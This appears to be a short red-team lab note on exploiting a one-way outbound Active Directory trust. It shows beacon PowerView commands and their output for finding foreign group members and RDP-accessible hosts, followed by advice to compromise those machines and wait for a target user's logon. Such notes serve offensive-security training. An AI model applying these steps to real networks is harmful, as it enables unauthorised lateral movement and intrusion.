One Way (Outbound)
Get foreign users in our current domain belongs to the outbound domain
beacon> powershell Get-DomainForeignGroupMember -Domain cyberbotic.io
GroupDomain : cyberbotic.io
GroupName : Jump Users
GroupDistinguishedName : CN=Jump Users,CN=Users,DC=cyberbotic,DC=io
MemberDomain : cyberbotic.io
MemberName : S-1-5-21-3022719512-2989052766-178205875-1115
MemberDistinguishedName : CN=S-1-5-21-3022719512-2989052766-178205875-1115,CN=ForeignSecurityPrincipals,DC=cyberbotic,DC=ioEnumerate the privileges of this group (we can't convert SID)
beacon> powershell Get-DomainGPOUserLocalGroupMapping -Identity "Jump Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
sql-1.cyberbotic.io
exch-1.cyberbotic.iobeacon> powershell Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName
sql-1.cyberbotic.io
exch-1.cyberbotic.ioCompromise these machines and waits until the targeted user logs in
beacon> net logons
Logged on users at \\localhost:
ZPS\jean.wise
CYBER\SQL-1$Does
jean.wisehave any privileged access inzeropointsecurity.local?Can we reach any useful ports/services (445, 3389, 5985 etc) in
zeropointsecurity.local?
Now we can enumerate the external domain and access the external machines
OR via Shares via RDP
Last updated